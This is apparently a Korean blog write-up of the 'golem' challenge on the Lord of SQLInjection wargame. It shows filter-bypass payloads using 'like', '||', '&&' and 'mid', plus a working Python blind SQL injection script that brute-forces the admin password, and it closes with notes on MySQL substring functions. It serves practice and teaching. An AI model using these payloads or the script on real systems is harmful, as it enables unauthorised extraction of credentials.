LOS를 예전에 14개 정도 풀었었는데,, 이번에 들어가게 되는 프로젝트에 앞서 진행되는 스터디에서 빠른 시일내에 LOS를 다 풀기로 했다
다시 계정을 생성해서 10번까지는 거의 막힘없이 풀었는데, 11번에서 좀 시간이 지체되서 해당 문제 정리와 blind sql injection 진행시, substr 함수와 mid 함수 사용정리도 하고자 한다.
우선 golem 문제 풀이는 아래와 같다.
Analysis

우선 문제를 확인하면, 필터링이 prob _ . () 가 되어 있는 것을 확인할 수 있고, or and substr( =가 필터링이 된 것을 확인할 수 있다.
그리고 id가 admin이고 해당 admin 계정의 pw와 일치하는 pw가 입력되어야 solve가 가능하다. blind sql injection을 통해 pw를 알아내야한다.
Solution
우선 pw의 길이를 알아내야하고, 길이를 알기 위해서 필터링이 되어서 사용하지 못하는 = 대신 like를 사용해서 우회할 수 있다.
→ ?pw=’ %7C%7C id like ‘admin’ %26%26 length(pw) like 8 %23

이를 통해서 총 길이가 8인 pw를 알아내기 위해 아래와 같이 코드를 작성할 수 있다.
Exploit Code
import requests
password = ''
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
PHPSESSID = "각자 세션 넣기"
for i in range(1,9):
for idx in range(32, 128):
# substr이 필터링되어 사용하지 못하기 때문에 mid 함수 사용
payload = "?pw=' %7C%7C id like 'admin' %26%26 ascii(mid(pw, "+ str(i) + ", 1)) like " + str(idx) + " %23"
res = requests.post(url = url + payload, cookies=(dict(PHPSESSID=PHPSESSID)))
if 'Hello admin' in res.text:
password += chr(idx)
print(password)
break
print(password)해당 코드를 짜다가 계속 Exploit이 되지 않아서 여러번 코드를 검토해보니,,, like 사용 후에 공백을 주어야 하는데 like” + str(idx) 이렇게 코드를 작성해서, ex) likea, likeb,,, 이런식으로 like가 적용되지 않은 것 같다..
Exploit Code를 코드를 짤때 단순히 공백을 주는 것보다 오히려 %20 처럼 공백을 직관적으로 알 수 있도록 하는 방법도 좋을 것 같다.
해당 코드로 알아낸 pw는 77d6290b
해당 pw를 입력값으로 주면,

문제 해결 완료.!
MID, SUBSTR, SUBSTRING
MySQL에서 문자열에 일부분을 가져오는 함수는 대표적으로 3가지가 존재하는데 간단하게 요약하면 아래와 같다.
- LEFT : 문자에 왼쪽을 기준으로 일정 갯수를 가져오는 함수
- MID(SUBSTR, SUBSTRING) : 문자에 지정한 시작 위치를 기준으로 일정 갯수를 가져오는 함수
- RIGHT : 문자에 오른쪽을 기준으로 일정 갯수를 가져오는 함수
MID 함수 및 이외의 사용법은 아래와 같다.
MID(문자, 시작 위치, 가져올 갯수);
or SUBSTR(문자, 시작 위치, 가져올 갯수);
or SUBSTRING(문자, 시작 위치, 가져올 갯수);
'Hacker > WEB' 카테고리의 다른 글
| LG U+ Security Hackaton Write up (0) | 2024.11.18 |
|---|---|
| [Dreamhack] - Switching Command (2) | 2024.11.15 |
| LOS(Lord of SQLInjection) - 24번 evil wizard (0) | 2024.10.17 |
| LOS(Lord of SQLInjection) - 19번 xavis (1) | 2024.10.11 |
| LOS(Lord of SQLInjection) - 17번 zombie_assasin (0) | 2024.10.10 |